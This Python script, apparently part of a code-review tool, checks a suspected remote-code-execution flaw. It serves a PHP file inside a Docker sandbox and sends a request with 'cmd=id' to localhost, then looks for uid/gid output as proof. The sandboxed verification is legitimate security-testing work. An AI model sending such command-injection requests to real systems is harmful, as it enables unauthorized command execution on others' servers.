CodeReview/verify_rce_sandbox.py

88 lines
2.9 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

import asyncio
import base64
import os
import sys
# 添加 backend 目录到路径
sys.path.append(os.path.join(os.getcwd(), "backend"))
from app.services.agent.tools.sandbox_tool import SandboxManager, SandboxConfig
async def verify_rce():
print("🚀 开始验证 RCE 漏洞...")
# 1. 读取目标文件内容
file_path = "ttt/t.php"
if not os.path.exists(file_path):
print(f"❌ 文件不存在: {file_path}")
return
with open(file_path, "rb") as f:
content = f.read()
b64_content = base64.b64encode(content).decode()
print(f"📄 读取文件 {file_path} ({len(content)} bytes)")
# 2. 初始化沙箱管理器
# 注意:需要启用网络模式以便 curl 本地服务(虽然是 localhost但 bridge 模式更稳妥,或者默认 none 也可以访问 localhost?
# Docker none 网络模式只有 loopback 接口,所以 localhost 是可以通的。
# 但是为了保险,我们使用默认配置(通常是 none如果不行再调整。
# 这里的关键是 php server 和 curl 在同一个容器内运行。
config = SandboxConfig()
# 确保网络模式允许本地通信none 模式下只有 lo应该没问题
# 但有些环境可能需要 bridge
# config.network_mode = "bridge"
manager = SandboxManager(config)
await manager.initialize()
if not manager.is_available:
print("❌ Docker 沙箱不可用")
return
print("🐳 沙箱初始化成功")
# 3. 构造验证 Payload
# - 创建目录
# - 写入文件 (使用 base64 避免转义问题)
# - 启动 PHP 服务器 (后台运行)
# - 等待服务器启动
# - 发送恶意请求 (cmd=id)
cmd_payload = "id"
verification_url = f"http://localhost:8000/t.php?cmd={cmd_payload}"
sandbox_cmd = (
f"mkdir -p ttt && "
f"echo '{b64_content}' | base64 -d > ttt/t.php && "
f"TMPDIR=/workspace php -S 0.0.0.0:8000 -t ttt > php.log 2>&1 & "
f"sleep 3 && "
f"curl -v '{verification_url}' || (echo '--- PHP LOG ---' && cat php.log)"
)
print(f"⚡ 执行沙箱命令:\n{sandbox_cmd}\n")
result = await manager.execute_command(sandbox_cmd, timeout=10)
# 4. 分析结果
print("📊 执行结果:")
print(f"Success: {result['success']}")
print(f"Exit Code: {result['exit_code']}")
print(f"Stdout: {result['stdout'].strip()}")
print(f"Stderr: {result['stderr'].strip()}")
if result['success']:
output = result['stdout']
if "uid=" in output and "gid=" in output:
print("\n✅ 漏洞验证成功!发现了命令执行结果。")
print(f"证明: {output.strip()}")
else:
print("\n⚠️ 命令执行成功,但未发现预期的 id 命令输出。")
else:
print("\n❌ 验证执行失败。")
if __name__ == "__main__":
asyncio.run(verify_rce())